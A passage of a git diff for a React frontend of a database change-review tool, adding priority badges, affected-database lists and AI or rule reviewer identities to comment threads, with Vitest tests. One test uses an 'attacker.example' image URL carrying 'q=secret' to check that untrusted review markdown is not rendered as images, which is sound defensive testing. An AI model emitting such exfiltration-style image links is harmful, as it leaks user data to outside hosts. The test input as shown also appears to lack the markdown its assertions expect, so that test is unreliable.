+420,11 @@ function ThreadSummary({onClick={onExpand}size="md">- <UserAvatar- colorSeed={creator.email}- size="xs"- title={creator.title || creator.email}- />+ {author.avatar}<span className="max-w-24 truncate font-medium text-main">- {creator.title || creator.email}+ {author.name}</span>+ {review && <ReviewPriorityBadge priority={review.priority} />}<span className="min-w-0 flex-1 truncate text-control" title={summary}>{summary}</span>diff --git a/frontend/src/routes/project/plan-detail/components/threads/ReviewResult.test.tsx b/frontend/src/routes/project/plan-detail/components/threads/ReviewResult.test.tsxnew file mode 100644index 0000000000..bbb3c6b0ad--- /dev/null+++ b/frontend/src/routes/project/plan-detail/components/threads/ReviewResult.test.tsx@@ -0,0 +1,175 @@+import { create } from "@bufbuild/protobuf";+import { cleanup, fireEvent, render } from "@testing-library/react";+import { afterEach, describe, expect, test, vi } from "vitest";+import { IssueComment_ReviewMetadata_Priority } from "@/types/proto-es/v1/issue_service_pb";+import {+ Plan_ChangeDatabaseConfigSchema,+ Plan_SpecSchema,+} from "@/types/proto-es/v1/plan_service_pb";++vi.mock("react-i18next", () => ({+ initReactI18next: { type: "3rdParty", init: () => {} },+ useTranslation: () => ({+ t: (key: string, options?: { n?: number }) =>+ options?.n !== undefined ? `${key}:${options.n}` : key,+ }),+}));++vi.mock("@/hooks/useAppState", () => ({+ useUserByIdentifier: () => undefined,+}));++vi.mock("../PlanTargetDisplay", () => ({+ PlanTargetDisplay: ({ target }: { target: string }) => (+ <span data-testid="target">{target}</span>+ ),+}));++import { ReviewPriorityBadge, ReviewTargets } from "./ReviewResult";++afterEach(cleanup);++const targetsOf = (container: HTMLElement) =>+ Array.from(container.querySelectorAll("[data-testid='target']")).map(+ (node) => node.textContent+ );++const databases = (count: number) =>+ Array.from({ length: count }, (_, i) => `instances/i/databases/db${i}`);++const changeSpec = (+ targets: string[],+ source: { sheet: string } | { release: string } = {+ sheet: "projects/p/sheets/abc",+ }+) =>+ create(Plan_SpecSchema, {+ id: "spec-1",+ config: {+ case: "changeDatabaseConfig",+ value: create(Plan_ChangeDatabaseConfigSchema, { targets, ...source }),+ },+ });++describe("ReviewPriorityBadge", () => {+ test.each([+ [IssueComment_ReviewMetadata_Priority.P0, "P0", "plan.review.thread.priority.p0"],+ [IssueComment_ReviewMetadata_Priority.P1, "P1", "plan.review.thread.priority.p1"],+ [IssueComment_ReviewMetadata_Priority.P2, "P2", "plan.review.thread.priority.p2"],+ ])("labels priority %s as %s and explains it", (priority, label, description) => {+ const { getByTestId } = render(<ReviewPriorityBadge priority={priority} />);+ expect(getByTestId("review-priority").textContent).toBe(label);+ expect(getByTestId("review-priority").getAttribute("title")).toBe(description);+ });++ test("shows nothing for an unspecified priority", () => {+ const { container } = render(+ <ReviewPriorityBadge+ priority={IssueComment_ReviewMetadata_Priority.PRIORITY_UNSPECIFIED}+ />+ );+ expect(container.innerHTML).toBe("");+ });+});++describe("ReviewTargets", () => {+ test("shows a short list whole", () => {+ const { container, queryByRole } = render(+ <ReviewTargets spec={undefined} targets={databases(4)} />+ );+ expect(targetsOf(container)).toEqual(databases(4));+ expect(queryByRole("button")).toBeNull();+ });++ test("folds a long list behind a count until expanded", () => {+ const { container, getByRole } = render(+ <ReviewTargets spec={undefined} targets={databases(6)} />+ );+ expect(targetsOf(container)).toEqual(databases(3));+ fireEvent.click(getByRole("button", { name: "common.n-more:3" }));+ expect(targetsOf(container)).toEqual(databases(6));+ });++ test("shows nothing without targets", () => {+ const { container } = render(+ <ReviewTargets spec={undefined} targets={[]} />+ );+ expect(container.innerHTML).toBe("");+ });++ test("hides the row when the targets equal the spec's databases in another order", () => {+ const { container } = render(+ <ReviewTargets+ spec={changeSpec([...databases(3)].reverse())}+ targets={databases(3)}+ />+ );+ expect(container.innerHTML).toBe("");+ });++ test("shows the row when the targets are a strict subset of the spec's databases", () => {+ const { container } = render(+ <ReviewTargets spec={changeSpec(databases(3))} targets={databases(2)} />+ );+ expect(targetsOf(container)).toEqual(databases(2));+ });++ test("shows the row when the spec is unknown", () => {+ const { container } = render(+ <ReviewTargets spec={undefined} targets={databases(2)} />+ );+ expect(targetsOf(container)).toEqual(databases(2));+ });++ test("shows the row when the spec targets a database group", () => {+ const { container } = render(+ <ReviewTargets+ spec={changeSpec(["projects/p/databaseGroups/all"])}+ targets={databases(2)}+ />+ );+ expect(targetsOf(container)).toEqual(databases(2));+ });++ test("hides the row when project-instance targets equal the spec's as a set", () => {+ const projectDatabases = [+ "projects/p/instances/i/databases/app",+ "projects/p/instances/i/databases/billing",+ ];+ const { container } = render(+ <ReviewTargets+ spec={changeSpec([...projectDatabases].reverse())}+ targets={projectDatabases}+ />+ );+ expect(container.innerHTML).toBe("");+ });++ test("shows the row when the spec names a project-instance database and the result a workspace-instance one", () => {+ const { container } = render(+ <ReviewTargets+ spec={changeSpec(["projects/p/instances/i/databases/d"])}+ targets={["instances/i/databases/d"]}+ />+ );+ expect(targetsOf(container)).toEqual(["instances/i/databases/d"]);+ });++ test("shows the row when a target carries a trailing segment", () => {+ const withSchema = ["instances/i/databases/d/schemas/public"];+ const { container } = render(+ <ReviewTargets spec={changeSpec(withSchema)} targets={withSchema} />+ );+ expect(targetsOf(container)).toEqual(withSchema);+ });++ test("shows the row when the spec is release-backed", () => {+ const { container } = render(+ <ReviewTargets+ spec={changeSpec(databases(2), { release: "projects/p/releases/r1" })}+ targets={databases(2)}+ />+ );+ expect(targetsOf(container)).toEqual(databases(2));+ });+});diff --git a/frontend/src/routes/project/plan-detail/components/threads/ReviewResult.tsx b/frontend/src/routes/project/plan-detail/components/threads/ReviewResult.tsxnew file mode 100644index 0000000000..61a5c0b686--- /dev/null+++ b/frontend/src/routes/project/plan-detail/components/threads/ReviewResult.tsx@@ -0,0 +1,209 @@+import type { TFunction } from "i18next";+import { Bot, ListChecks } from "lucide-react";+import { type ReactNode, useState } from "react";+import { useTranslation } from "react-i18next";+import { UserAvatar } from "@/components/UserAvatar";+import { Badge, type BadgeProps, badgeVariants } from "@/components/ui/badge";+import { Button } from "@/components/ui/button";+import { useUserByIdentifier } from "@/hooks/useAppState";+import { cn } from "@/lib/utils";+import { isValidDatabaseName, unknownUser } from "@/types";+import {+ type IssueComment,+ IssueComment_ReviewMetadata_Priority,+ ReviewRun_Type,+} from "@/types/proto-es/v1/issue_service_pb";+import type { Plan_Spec } from "@/types/proto-es/v1/plan_service_pb";+import { extractDatabaseResourceName } from "@/utils/v1/database";+import { PlanTargetDisplay } from "../PlanTargetDisplay";++// A long target list keeps its head visible and folds the rest behind a count.+const VISIBLE_TARGETS = 3;+const FOLD_TARGETS_ABOVE = 4;++// The avatar and name of a comment's author. A review result has no creator,+// so the reviewer its review metadata names stands in for a person.+export function useCommentAuthor(comment: IssueComment): {+ avatar: ReactNode;+ name: string;+} {+ const { t } = useTranslation();+ const review = comment.reviewMetadata;+ const user = useUserByIdentifier(review ? undefined : comment.creator);+ if (review) {+ return {+ avatar: (+ <span+ aria-hidden="true"+ className="flex size-5 shrink-0 items-center justify-center rounded-full bg-control-bg text-control"+ data-testid="reviewer-avatar"+ >+ <ReviewerIcon className="size-3.5" runType={review.runType} />+ </span>+ ),+ name: reviewerName(t, review.runType),+ };+ }+ const creator = user ?? unknownUser(comment.creator);+ const name = creator.title || creator.email;+ return {+ avatar: <UserAvatar colorSeed={creator.email} size="xs" title={name} />,+ name,+ };+}++export function ReviewerIcon({+ className,+ runType,+}: {+ className: string;+ runType: ReviewRun_Type;+}) {+ const Icon = runType === ReviewRun_Type.AI ? Bot : ListChecks;+ return <Icon className={className} />;+}++export function reviewerName(t: TFunction, runType: ReviewRun_Type): string {+ switch (runType) {+ case ReviewRun_Type.AI:+ return t("sql-review.ai-review.self");+ case ReviewRun_Type.RULE:+ return t("sql-review.standard-rules.self");+ default:+ return t("sql-review.title");+ }+}++export function ReviewPriorityBadge({+ priority,+}: {+ priority: IssueComment_ReviewMetadata_Priority;+}) {+ const { t } = useTranslation();+ const style = priorityStyle(t, priority);+ if (!style) return null;+ return (+ <Badge+ className="shrink-0"+ data-testid="review-priority"+ title={style.description}+ variant={style.variant}+ >+ {IssueComment_ReviewMetadata_Priority[priority]}+ </Badge>+ );+}++function priorityStyle(+ t: TFunction,+ priority: IssueComment_ReviewMetadata_Priority+): { description: string; variant: BadgeProps["variant"] } | undefined {+ switch (priority) {+ case IssueComment_ReviewMetadata_Priority.P0:+ return {+ description: t("plan.review.thread.priority.p0"),+ variant: "destructive",+ };+ case IssueComment_ReviewMetadata_Priority.P1:+ return {+ description: t("plan.review.thread.priority.p1"),+ variant: "warning",+ };+ case IssueComment_ReviewMetadata_Priority.P2:+ return {+ description: t("plan.review.thread.priority.p2"),+ variant: "default",+ };+ default:+ return undefined;+ }+}++// The databases a review result applies to. A result without targets has+// nothing to list. A result for exactly the databases of its spec says+// nothing the spec does not, so the row is left out then too, but only when+// that equality is proven.+export function ReviewTargets({+ spec,+ targets,+}: {+ // The spec the result is anchored to, when known.+ spec: Plan_Spec | undefined;+ targets: string[];+}) {+ const { t } = useTranslation();+ const [showAll, setShowAll] = useState(false);+ if (targets.length === 0 || equalsSpecDatabases(targets, spec)) return null;+ const folded = !showAll && targets.length > FOLD_TARGETS_ABOVE;+ const visible = folded ? targets.slice(0, VISIBLE_TARGETS) : targets;+ return (+ <div+ className="flex min-w-0 items-baseline gap-x-2 text-xs"+ data-testid="review-targets"+ >+ <span className="shrink-0 text-control-light">+ {t("plan.review.thread.applies-to")}+ </span>+ <ul className="flex min-w-0 flex-1 flex-wrap items-center gap-x-2 gap-y-1">+ {visible.map((target) => (+ <li+ className={cn(badgeVariants(), "max-w-full min-w-0")}+ key={target}+ >+ <PlanTargetDisplay className="text-xs" target={target} />+ </li>+ ))}+ {folded && (+ <li>+ <Button+ appearance="link"+ onClick={() => setShowAll(true)}+ size="xs"+ >+ {t("common.n-more", { n: targets.length - VISIBLE_TARGETS })}+ </Button>+ </li>+ )}+ </ul>+ </div>+ );+}++// Whether targets, as a set, are exactly the databases the spec lists. Only+// a sheet-backed change spec naming plain databases is compared; an unknown+// spec, a release-backed one, or one naming a database group never matches.+// Names compare as exact strings, since a project instance's database and a+// workspace instance's database of the same names are different databases.+function equalsSpecDatabases(+ targets: readonly string[],+ spec: Plan_Spec | undefined+): boolean {+ if (+ spec?.config.case !== "changeDatabaseConfig" ||+ !spec.config.value.sheet ||+ spec.config.value.release+ ) {+ return false;+ }+ const specTargets = spec.config.value.targets;+ if (specTargets.length === 0 || !specTargets.every(isPlainDatabaseName)) {+ return false;+ }+ const expected = new Set(specTargets);+ const actual = new Set(targets);+ return (+ actual.size === expected.size &&+ [...actual].every((target) => expected.has(target))+ );+}++// A target shaped as one database name, under a workspace instance or a+// project instance, with nothing before or after it. A database group or any+// longer resource name fails. Equality of such names is what the caller+// proves; whether the project, instance, or database exists is not asked.+function isPlainDatabaseName(target: string): boolean {+ return (+ isValidDatabaseName(target) &&+ extractDatabaseResourceName(target).database === target+ );+}diff --git a/frontend/src/routes/project/plan-detail/components/threads/StatementThreadsLayer.tsx b/frontend/src/routes/project/plan-detail/components/threads/StatementThreadsLayer.tsxindex f9445c8ca5..58672693f0 100644--- a/frontend/src/routes/project/plan-detail/components/threads/StatementThreadsLayer.tsx+++ b/frontend/src/routes/project/plan-detail/components/threads/StatementThreadsLayer.tsx@@ -716,6 +716,7 @@ export function StatementThreadsLayer({onReplyDraftChange={updateReplyDraft}project={project}revealRoot={revealEntry?.thread.root.name}+ spec={spec}threads={entries}/></div>diff --git a/frontend/src/routes/project/plan-detail/components/threads/ThreadComment.test.tsx b/frontend/src/routes/project/plan-detail/components/threads/ThreadComment.test.tsxnew file mode 100644index 0000000000..b5cf53c6eb--- /dev/null+++ b/frontend/src/routes/project/plan-detail/components/threads/ThreadComment.test.tsx@@ -0,0 +1,198 @@+import { create } from "@bufbuild/protobuf";+import { timestampFromMs } from "@bufbuild/protobuf/wkt";+import { cleanup, render, within } from "@testing-library/react";+import { afterEach, describe, expect, test, vi } from "vitest";+import {+ IssueComment_ReviewMetadata_Priority,+ IssueComment_ReviewMetadataSchema,+ IssueComment_ThreadState,+ IssueCommentSchema,+ ReviewRun_Type,+ StatementAnchorSchema,+} from "@/types/proto-es/v1/issue_service_pb";+import {+ Plan_ChangeDatabaseConfigSchema,+ Plan_SpecSchema,+} from "@/types/proto-es/v1/plan_service_pb";+import type { Project } from "@/types/proto-es/v1/project_service_pb";++vi.mock("react-i18next", () => ({+ initReactI18next: { type: "3rdParty", init: () => {} },+ useTranslation: () => ({ t: (key: string) => key }),+}));++vi.mock("@/components/HumanizeTs", async () => ({+ ...(await import("@/test-utils/humanizeTs")).humanizeTsStub(),+}));++// The activity module drags Monaco into the test; only the edit rule matters.+vi.mock("@/components/issue-activity/IssueCommentActivity", () => ({+ canEditIssueComment: () => false,+}));++vi.mock("@/hooks/useAppState", () => ({+ useUserByIdentifier: (principal: string | undefined) =>+ principal+ ? {+ name: principal,+ email: principal.replace(/^users\//, ""),+ title: "Alice",+ }+ : undefined,+}));++vi.mock("../PlanTargetDisplay", () => ({+ PlanTargetDisplay: ({ target }: { target: string }) => (+ <span data-testid="target">{target}</span>+ ),+}));++import { ThreadComment } from "./ThreadComment";++afterEach(cleanup);++const ISSUE = "projects/p/issues/1";+const project = { name: "projects/p" } as Project;+const TARGETS = [+ "instances/prod/databases/app",+ "instances/prod/databases/billing",+];++const userComment = (text: string) =>+ create(IssueCommentSchema, {+ name: `${ISSUE}/issueComments/1`,+ comment: text,+ creator: "users/[email protected]",+ createTime: timestampFromMs(1_000),+ updateTime: timestampFromMs(1_000),+ threadState: IssueComment_ThreadState.OPEN,+ });++const reviewResult = (+ text: string,+ runType = ReviewRun_Type.AI,+ priority = IssueComment_ReviewMetadata_Priority.P0+) =>+ create(IssueCommentSchema, {+ name: `${ISSUE}/issueComments/2`,+ comment: text,+ createTime: timestampFromMs(1_000),+ updateTime: timestampFromMs(1_000),+ threadState: IssueComment_ThreadState.OPEN,+ reviewMetadata: create(IssueComment_ReviewMetadataSchema, {+ runType,+ priority,+ targets: TARGETS,+ }),+ });++const renderComment = (comment: ReturnType<typeof userComment>) =>+ render(+ <ThreadComment comment={comment} onEdit={vi.fn()} project={project} />+ );++const specOf = (id: string) =>+ create(Plan_SpecSchema, {+ id,+ config: {+ case: "changeDatabaseConfig",+ value: create(Plan_ChangeDatabaseConfigSchema, {+ sheet: "projects/p/sheets/abc",+ targets: [...TARGETS].reverse(),+ }),+ },+ });++describe("ThreadComment", () => {+ test.each([+ { anchoredTo: "spec-1", shown: false },+ { anchoredTo: "spec-2", shown: true },+ ])(+ "uses the spec's databases only for a result anchored to it: anchored to $anchoredTo, targets shown=$shown",+ ({ anchoredTo, shown }) => {+ const comment = reviewResult("Missing WHERE clause.");+ comment.statementAnchor = create(StatementAnchorSchema, {+ spec: anchoredTo,+ });+ const { container } = render(+ <ThreadComment+ comment={comment}+ onEdit={vi.fn()}+ project={project}+ spec={specOf("spec-1")}+ />+ );+ expect(+ container.querySelector("[data-testid='review-targets']") !== null+ ).toBe(shown);+ }+ );++ test.each([+ {+ runType: ReviewRun_Type.AI,+ reviewer: "sql-review.ai-review.self",+ priority: IssueComment_ReviewMetadata_Priority.P0,+ label: "P0",+ },+ {+ runType: ReviewRun_Type.RULE,+ reviewer: "sql-review.standard-rules.self",+ priority: IssueComment_ReviewMetadata_Priority.P1,+ label: "P1",+ },+ ])(+ "shows a $label review result as $reviewer with the databases it applies to",+ ({ runType, reviewer, priority, label }) => {+ const { container, getByTestId } = renderComment(+ reviewResult("Missing WHERE clause.", runType, priority)+ );+ const header = getByTestId("comment-content").firstElementChild as HTMLElement;++ expect(within(header).getByTitle(reviewer).textContent).toBe(reviewer);+ expect(within(header).getByTestId("reviewer-avatar")).toBeDefined();+ expect(within(header).getByTestId("review-priority").textContent).toBe(+ label+ );+ expect(+ Array.from(container.querySelectorAll("[data-testid='target']")).map(+ (node) => node.textContent+ )+ ).toEqual(TARGETS);+ expect(container.textContent).not.toContain("common.unknown");+ expect(container.textContent).not.toContain("Unknown");+ }+ );++ test("shows a user comment as its author with no review details", () => {+ const { container, getByTitle } = renderComment(+ userComment("Looks good ")+ );++ expect(getByTitle("Alice").textContent).toBe("Alice");+ expect(container.querySelector("[data-testid='reviewer-avatar']")).toBeNull();+ expect(container.querySelector("[data-testid='review-priority']")).toBeNull();+ expect(container.querySelector("[data-testid='review-targets']")).toBeNull();+ expect(container.querySelector("img")?.getAttribute("src")).toBe(+ "https://example.com/s.png"+ );+ });++ test("renders a review result's markdown and HTML images as a link and text, not as images", () => {+ const { container } = renderComment(+ reviewResult(+ 'Drop risk\n\n\n\n<img src="https://attacker.example/raw.png">'+ )+ );++ expect(container.querySelector("img")).toBeNull();+ expect(+ container.querySelector("a[href='https://attacker.example/leak.png?q=secret']")+ ?.textContent+ ).toBe("chart");+ expect(container.textContent).not.toContain("!chart");+ expect(container.textContent).toContain(+ '<img src="https://attacker.example/raw.png">'+ );+ });+});diff --git a/frontend/src/routes/project/plan-detail/components/threads/ThreadComment.tsx b/frontend/src/routes/project/plan-detail/components/threads/ThreadComment.tsxindex 039cc50704..2c10d3ad6e 100644--- a/frontend/src/routes/project/plan-detail/components/threads/ThreadComment.tsx+++ b/frontend/src/routes/project/plan-detail/components/threads/ThreadComment.tsx@@ -4,13 +4,17 @@ import { useTranslation } from "react-i18next";import { HumanizeTs } from "@/components/HumanizeTs";import { canEditIssueComment } from "@/components/issue-activity/IssueCommentActivity";import { MarkdownEditor } from "@/components/MarkdownEditor";-import { UserAvatar } from "@/components/UserAvatar";import { Button } from "@/components/ui/button";-import { useUserByIdentifier } from "@/hooks/useAppState";import { cn } from "@/lib/utils";-import { getTimeForPbTimestampProtoEs, unknownUser } from "@/types";+import { getTimeForPbTimestampProtoEs } from "@/types";import type { IssueComment } from "@/types/proto-es/v1/issue_service_pb";+import type { Plan_Spec } from "@/types/proto-es/v1/plan_service_pb";import type { Project } from "@/types/proto-es/v1/project_service_pb";+import {+ ReviewPriorityBadge,+ ReviewTargets,+ useCommentAuthor,+} from "./ReviewResult";// Roots and replies share one layout: author identity in the header, with// the body aligned to the comment region rather than indented below the name.@@ -20,6 +24,7 @@ export function ThreadComment({comment,onEdit,project,+ spec,status,}: {// Header actions after the edit button (thread collapse or close).@@ -28,12 +33,14 @@ export function ThreadComment({comment: IssueComment;onEdit: (issueCommentName: string, comment: string) => Promise<unknown>;project: Project | undefined;+ // The plan spec the thread sits on, when the owner knows it.+ spec?: Plan_Spec;// Thread status shown after the timestamp (resolved).status?: ReactNode;}) {const { t } = useTranslation();- const creator =- useUserByIdentifier(comment.creator) ?? unknownUser(comment.creator);+ const author = useCommentAuthor(comment);+ const review = comment.reviewMetadata;const createdTs = getTimeForPbTimestampProtoEs(comment.createTime);const updatedTs = getTimeForPbTimestampProtoEs(comment.updateTime);const isEdited = createdTs !== updatedTs;@@ -74,19 +81,16 @@ export function ThreadComment({<div className="flex min-w-0 flex-1 flex-wrap items-center gap-x-2 gap-y-1"><div className="flex min-w-0 max-w-full items-center gap-x-2"><div className="shrink-0" data-testid="comment-avatar">- <UserAvatar- colorSeed={creator.email}- size="xs"- title={creator.title || creator.email}- />+ {author.avatar}</div><spanclassName="min-w-0 truncate text-sm font-medium text-main"- title={creator.title || creator.email}+ title={author.name}>- {creator.title || creator.email}+ {author.name}</span></div>+ {review && <ReviewPriorityBadge priority={review.priority} />}<HumanizeTsclassName="hidden shrink-0 whitespace-nowrap text-xs text-control-light @2xs/comment:inline"tsMs={createdTs}@@ -115,12 +119,23 @@ export function ThreadComment({{actions}</div></div>+ {review && (+ <ReviewTargets+ spec={+ spec && comment.statementAnchor?.spec === spec.id+ ? spec+ : undefined+ }+ targets={review.targets}+ />+ )}{isEditing ? (<div className="flex flex-col gap-y-2"><MarkdownEditorcontent={draft}onChange={setDraft}onSubmit={() => void save()}+ untrusted={Boolean(review)}/><div className="flex items-center justify-end gap-x-2"><Button@@ -147,7 +162,11 @@ export function ThreadComment({) : (comment.comment && (<div className="wrap-break-word text-sm text-control">- <MarkdownEditor content={comment.comment} mode="preview" />+ <MarkdownEditor+ content={comment.comment}+ mode="preview"+ untrusted={Boolean(review)}+ /></div>))}diff --git a/frontend/src/routes/project/plan-detail/components/threads/ThreadStack.test.tsx b/frontend/src/routes/project/plan-detail/components/threads/ThreadStack.test.tsxindex f2d21a5f67..cda03b7462 100644--- a/frontend/src/routes/project/plan-detail/components/threads/ThreadStack.test.tsx+++ b/frontend/src/routes/project/plan-detail/components/threads/ThreadStack.test.tsx@@ -3,7 +3,14 @@ import { TimestampSchema } from "@bufbuild/protobuf/wkt";import { cleanup, fireEvent, render } from "@testing-library/react";import { createRef, useState } from "react";import { afterEach, describe, expect, test, vi } from "vitest";-import { IssueCommentSchema, IssueSchema } from "@/types/proto-es/v1/issue_service_pb";+import {+ IssueComment_ReviewMetadata_Priority,+ IssueComment_ReviewMetadataSchema,+ IssueCommentSchema,+ IssueSchema,+ ReviewRun_Type,+} from "@/types/proto-es/v1/issue_service_pb";+import { Plan_SpecSchema } from "@/types/proto-es/v1/plan_service_pb";import type { EditorThread } from "./threadModel";import { ThreadStack } from "./ThreadStack";@@ -19,13 +26,14 @@ vi.mock("@/stores/app", () => ({selector({ getUserByIdentifier: () => ({ email: "[email protected]", title: "Aurora" }) }),}));vi.mock("./CommentThreadCard", () => ({- CommentThreadCard: ({ thread, onClose, replyDraft, onReplyDraftChange }: {+ CommentThreadCard: ({ thread, onClose, replyDraft, onReplyDraftChange, spec }: {thread: EditorThread["thread"];onClose: () => void;replyDraft: string;onReplyDraftChange: (draft: string) => void;+ spec?: { id: string };}) => (- <div data-thread-name={thread.root.name} data-resolved={String(thread.resolved)}>+ <div data-thread-name={thread.root.name} data-resolved={String(thread.resolved)} data-spec={spec?.id}><input aria-label="Reply draft" value={replyDraft} onChange={(e) => onReplyDraftChange(e.target.value)} /><button onClick={onClose}>Close</button></div>@@ -55,6 +63,7 @@ const props = {expandedRoots: new Set<string>(),replyDrafts: {},onReplyDraftChange: vi.fn(),+ spec: create(Plan_SpecSchema, { id: "spec-1" }),};const order = (container: HTMLElement) =>Array.from(container.querySelectorAll("[data-thread-name]")).map((el) => el.getAttribute("data-thread-name"));@@ -132,6 +141,28 @@ describe("ThreadStack", () => {});+test("shows a collapsed review result as its reviewer with its priority", () => {+ const review = entry("finding", false, 1);+ review.thread.root.creator = "";+ review.thread.root.reviewMetadata = create(IssueComment_ReviewMetadataSchema, {+ runType: ReviewRun_Type.RULE,+ priority: IssueComment_ReviewMetadata_Priority.P0,+ });+ const { container } = render(<ThreadStack {...props} threads={[review, entry("person", false, 2)]} />);+ const rows = container.querySelectorAll("[data-testid='thread-row']");+ expect(rows[0].textContent).toContain("sql-review.standard-rules.self");+ expect(rows[0].querySelector("[data-testid='review-priority']")?.textContent).toBe("P0");+ expect(rows[0].textContent).not.toContain("Aurora");+ expect(rows[1].textContent).toContain("Aurora");+ expect(rows[1].querySelector("[data-testid='review-priority']")).toBeNull();+});++test("hands each expanded card the spec of the statement it sits on", () => {+ const { container } = render(<ThreadStack {...props} expandedRoots={new Set(["a", "b"])} threads={[entry("a", false, 1), entry("b", true, 2)]} />);+ const cards = Array.from(container.querySelectorAll("[data-thread-name]"));+ expect(cards.map((card) => card.getAttribute("data-spec"))).toEqual(["spec-1", "spec-1"]);+});+test("exposes the expanded card for editor reveal", () => {const ref = createRef<HTMLDivElement>();const threads = [entry("a", false, 1), entry("b", false, 2)];diff --git a/frontend/src/routes/project/plan-detail/components/threads/ThreadStack.tsx b/frontend/src/routes/project/plan-detail/components/threads/ThreadStack.tsxindex 8cc2fc6788..5aceda04ca 100644--- a/frontend/src/routes/project/plan-detail/components/threads/ThreadStack.tsx+++ b/frontend/src/routes/project/plan-detail/components/threads/ThreadStack.tsx@@ -2,15 +2,15 @@ import { ChevronDown, CircleCheck, MessageSquare } from "lucide-react";import { type ReactNode, type Ref, type SetStateAction, useState } from "react";import { useTranslation } from "react-i18next";import { HumanizeTs } from "@/components/HumanizeTs";-import { UserAvatar } from "@/components/UserAvatar";import { Badge } from "@/components/ui/badge";import { Button } from "@/components/ui/button";-import { useUserByIdentifier } from "@/hooks/useAppState";import { cn } from "@/lib/utils";-import { getTimeForPbTimestampProtoEs, unknownUser } from "@/types";+import { getTimeForPbTimestampProtoEs } from "@/types";import type { Issue, IssueComment } from "@/types/proto-es/v1/issue_service_pb";+import type { Plan_Spec } from "@/types/proto-es/v1/plan_service_pb";import type { Project } from "@/types/proto-es/v1/project_service_pb";import { CommentThreadCard } from "./CommentThreadCard";+import { ReviewPriorityBadge, useCommentAuthor } from "./ReviewResult";import {compareByCreateTime,type EditorThread,@@ -61,6 +61,7 @@ export function ThreadStack({onReplyDraftChange,project,revealRoot,+ spec,threads,}: {expandedRoots: ReadonlySet<string>;@@ -75,6 +76,8 @@ export function ThreadStack({onReplyDraftChange: (rootName: string, draft: SetStateAction<string>) => void;project: Project | undefined;revealRoot?: string;+ // The spec whose statement the stack sits on.+ spec: Plan_Spec;threads: EditorThread[];}) {const { t } = useTranslation();@@ -137,6 +140,7 @@ export function ThreadStack({onReplyDraftChange(entry.thread.root.name, draft)}project={project}+ spec={spec}thread={entry.thread}/>) : (@@ -168,8 +172,8 @@ function CollapsedThreadRow({resolved: boolean;}) {const { t } = useTranslation();- const creator =- useUserByIdentifier(comment.creator) ?? unknownUser(comment.creator);+ const author = useCommentAuthor(comment);+ const review = comment.reviewMetadata;const firstLine = comment.comment.split("\n")[0] ?? "";return (<Button@@ -181,17 +185,14 @@ function CollapsedThreadRow({onClick={onSelect}size="md">- <UserAvatar- colorSeed={creator.email}- size="xs"- title={creator.title || creator.email}- />+ {author.avatar}<spanclassName="max-w-24 truncate font-medium text-main"- title={creator.title || creator.email}+ title={author.name}>- {creator.title || creator.email}+ {author.name}</span>+ {review && <ReviewPriorityBadge priority={review.priority} />}<span className="min-w-0 flex-1 truncate text-control" title={firstLine}>{firstLine}</span>